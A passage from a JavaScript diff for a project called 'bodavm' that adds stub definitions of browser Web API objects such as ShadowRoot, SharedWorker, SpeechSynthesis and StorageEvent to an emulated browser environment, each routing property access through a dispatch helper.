+}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "periodicSync", { + configurable: true, + enumerable: true, + get: function periodicSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "periodicSync_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "sync", { + configurable: true, + enumerable: true, + get: function sync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "sync_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "cookies", { + configurable: true, + enumerable: true, + get: function cookies() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "cookies_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "pushManager", { + configurable: true, + enumerable: true, + get: function pushManager() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "pushManager_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "getNotifications", { + configurable: true, + enumerable: true, + writable: true, + value: function getNotifications() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "getNotifications", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "showNotification", { + configurable: true, + enumerable: true, + writable: true, + value: function showNotification() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "showNotification", arguments); + } +}, 'prototype'); +// sessionStorage对象 + +bodavm.memory.globalobj['sessionStorage'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['sessionStorage'].__proto__ = bodavm.memory.globalobj['Storage'].prototype; +// ShadowRoot对象 + +bodavm.memory.globalobj['ShadowRoot'] = function ShadowRoot() { + console.log_copy('ShadowRoot 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ShadowRoot)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ShadowRoot'], "ShadowRoot"); +bodavm.memory.globalobj['ShadowRoot'].prototype.__proto__ = bodavm.memory.globalobj['DocumentFragment'].prototype; +bodavm.memory.globalobj['ShadowRoot'].__proto__ = bodavm.memory.globalobj['DocumentFragment']; +bodavm.toolsFunc.defineProperty('ShadowRoot', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "host", { + configurable: true, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "host_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "innerHTML", { + configurable: true, + enumerable: true, + get: function innerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "innerHTML_get", arguments); + }, + set: function innerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "innerHTML_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "delegatesFocus", { + configurable: true, + enumerable: true, + get: function delegatesFocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "delegatesFocus_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "slotAssignment", { + configurable: true, + enumerable: true, + get: function slotAssignment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "slotAssignment_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "pictureInPictureElement", { + configurable: true, + enumerable: true, + get: function pictureInPictureElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "pictureInPictureElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "activeElement", { + configurable: true, + enumerable: true, + get: function activeElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "activeElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "styleSheets", { + configurable: true, + enumerable: true, + get: function styleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "styleSheets_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "pointerLockElement", { + configurable: true, + enumerable: true, + get: function pointerLockElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "pointerLockElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "fullscreenElement", { + configurable: true, + enumerable: true, + get: function fullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "fullscreenElement_get", arguments); + }, + set: function fullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "fullscreenElement_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "adoptedStyleSheets", { + configurable: true, + enumerable: true, + get: function adoptedStyleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "adoptedStyleSheets_get", arguments); + }, + set: function adoptedStyleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "adoptedStyleSheets_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "elementFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function elementFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "elementFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "elementsFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function elementsFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "elementsFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "getInnerHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function getInnerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getInnerHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "getSelection", { + configurable: true, + enumerable: true, + writable: true, + value: function getSelection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getSelection", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "getAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function getAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getAnimations", arguments); + } +}, 'prototype'); +// SharedWorker对象 + +bodavm.memory.globalobj['SharedWorker'] = function SharedWorker() { + console.log_copy('SharedWorker 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SharedWorker)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SharedWorker': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SharedWorker'], "SharedWorker"); +bodavm.memory.globalobj['SharedWorker'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SharedWorker'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SharedWorker', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SharedWorker', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "onerror_set", arguments); + } +}, 'prototype'); +// showDirectoryPicker对象 + +bodavm.memory.globalobj['showDirectoryPicker'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('showDirectoryPicker', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('showDirectoryPicker', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "showDirectoryPicker" +}); +// showOpenFilePicker对象 + +bodavm.memory.globalobj['showOpenFilePicker'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('showOpenFilePicker', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('showOpenFilePicker', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "showOpenFilePicker" +}); +// showSaveFilePicker对象 + +bodavm.memory.globalobj['showSaveFilePicker'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('showSaveFilePicker', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('showSaveFilePicker', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "showSaveFilePicker" +}); +// SourceBufferList对象 + +bodavm.memory.globalobj['SourceBufferList'] = function SourceBufferList() { + console.log_copy('SourceBufferList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SourceBufferList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBufferList'], "SourceBufferList"); +bodavm.memory.globalobj['SourceBufferList'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SourceBufferList'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SourceBufferList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBufferList', "onaddsourcebuffer", { + configurable: true, + enumerable: true, + get: function onaddsourcebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onaddsourcebuffer_get", arguments); + }, + set: function onaddsourcebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onaddsourcebuffer_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBufferList', "onremovesourcebuffer", { + configurable: true, + enumerable: true, + get: function onremovesourcebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onremovesourcebuffer_get", arguments); + }, + set: function onremovesourcebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onremovesourcebuffer_set", arguments); + } +}, 'prototype'); +bodavm.memory.globalobj['SpeechSynthesis'] = function SpeechSynthesis() { + console.log_copy('SpeechSynthesis 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boisinit = bodavm.config.isinit; + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesis'], "SpeechSynthesis"); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "cancel", { + writable: true, + enumerable: true, + configurable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "cancel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "getVoices", { + writable: true, + enumerable: true, + configurable: true, + value: function getVoices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "getVoices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pause", { + writable: true, + enumerable: true, + configurable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "resume", { + writable: true, + enumerable: true, + configurable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speak", { + writable: true, + enumerable: true, + configurable: true, + value: function speak() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "speak", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "paused", { + set: undefined, + enumerable: true, + configurable: true, + get: function paused() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "paused_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pending", { + set: undefined, + enumerable: true, + configurable: true, + get: function pending() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "pending_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speaking", { + set: undefined, + enumerable: true, + configurable: true, + get: function speaking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "speaking_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "onvoiceschanged", { + configurable: true, + enumerable: true, + get: function onvoiceschanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_get ", arguments); + }, + set: function onvoiceschanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_set", arguments); + } +}, 'prototype'); + +// speechSynthesis对象 +bodavm.memory.globalobj['speechSynthesis'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['speechSynthesis'].__proto__ = bodavm.memory.globalobj['SpeechSynthesis'].prototype; +delete SpeechSynthesis; +// SpeechSynthesisEvent对象 + +bodavm.memory.globalobj['SpeechSynthesisEvent'] = function SpeechSynthesisEvent() { + console.log_copy('SpeechSynthesisEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SpeechSynthesisEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisEvent'], "SpeechSynthesisEvent"); +bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['SpeechSynthesisEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "utterance", { + configurable: true, + enumerable: true, + get: function utterance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "utterance_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "charIndex", { + configurable: true, + enumerable: true, + get: function charIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "charIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "charLength", { + configurable: true, + enumerable: true, + get: function charLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "charLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "elapsedTime", { + configurable: true, + enumerable: true, + get: function elapsedTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "elapsedTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +// SpeechSynthesisErrorEvent对象 + +bodavm.memory.globalobj['SpeechSynthesisErrorEvent'] = function SpeechSynthesisErrorEvent() { + console.log_copy('SpeechSynthesisErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SpeechSynthesisErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisErrorEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisErrorEvent'], "SpeechSynthesisErrorEvent"); +bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype; +bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].__proto__ = bodavm.memory.globalobj['SpeechSynthesisEvent']; +bodavm.toolsFunc.defineProperty('SpeechSynthesisErrorEvent', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].prototype, "SpeechSynthesisErrorEvent", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +// StaticRange对象 + +bodavm.memory.globalobj['StaticRange'] = function StaticRange() { + console.log_copy('StaticRange 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StaticRange)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StaticRange': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StaticRange'], "StaticRange"); +bodavm.memory.globalobj['StaticRange'].prototype.__proto__ = bodavm.memory.globalobj['AbstractRange'].prototype; +bodavm.memory.globalobj['StaticRange'].__proto__ = bodavm.memory.globalobj['AbstractRange']; +// status对象 + +bodavm.memory.globalobj['status'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('status', "length", { + configurable: false, + enumerable: false, + writable: false, + value: 0 +}); +// statusbar对象 + +bodavm.memory.globalobj['statusbar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['statusbar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; +// StereoPannerNode对象 + +bodavm.memory.globalobj['StereoPannerNode'] = function StereoPannerNode() { + console.log_copy('StereoPannerNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StereoPannerNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StereoPannerNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StereoPannerNode'], "StereoPannerNode"); +bodavm.memory.globalobj['StereoPannerNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['StereoPannerNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('StereoPannerNode', "pan", { + configurable: true, + enumerable: true, + get: function pan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StereoPannerNode'].prototype, "StereoPannerNode", "pan_get", arguments); + }, + set: undefined +}, 'prototype'); +// stop对象 + +bodavm.memory.globalobj['stop'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('stop', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('stop', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "stop" +}); +// StorageEvent对象 + +bodavm.memory.globalobj['StorageEvent'] = function StorageEvent() { + console.log_copy('StorageEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StorageEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StorageEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageEvent'], "StorageEvent"); +bodavm.memory.globalobj['StorageEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['StorageEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('StorageEvent', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "oldValue", { + configurable: true, + enumerable: true, + get: function oldValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "oldValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "newValue", { + configurable: true, + enumerable: true, + get: function newValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "newValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "storageArea", { + configurable: true, + enumerable: true, + get: function storageArea() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "storageArea_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "initStorageEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initStorageEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "initStorageEvent", arguments); + } +}, 'prototype'); +// structuredClone对象 + +bodavm.memory.globalobj['structuredClone'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('structuredClone', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('structuredClone', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "structuredClone" +}); +bodavm.memory.globalobj['StyleMedia'] = function StyleMedia() { + console.log_copy('StyleMedia 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleMedia'], "StyleMedia"); +bodavm.toolsFunc.defineProperty('StyleMedia', "matchMedium", { + configurable: true, + enumerable: true, + get: function matchMedium() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleMedia'].prototype, "StyleMedia", "matchMedium", arguments); + }, + set: undefined +}, 'prototype'); + +// styleMedia对象 +bodavm.memory.globalobj['styleMedia'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['styleMedia'].__proto__ = bodavm.memory.globalobj['StyleMedia'].prototype; +// StylePropertyMapReadOnly对象 + +bodavm.memory.globalobj['StylePropertyMapReadOnly'] = function StylePropertyMapReadOnly() { + console.log_copy('StylePropertyMapReadOnly 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StylePropertyMapReadOnly)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StylePropertyMapReadOnly'], "StylePropertyMapReadOnly"); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "values", arguments); + } +}, 'prototype'); +// StylePropertyMap对象 + +bodavm.memory.globalobj['StylePropertyMap'] = function StylePropertyMap() { + console.log_copy('StylePropertyMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; 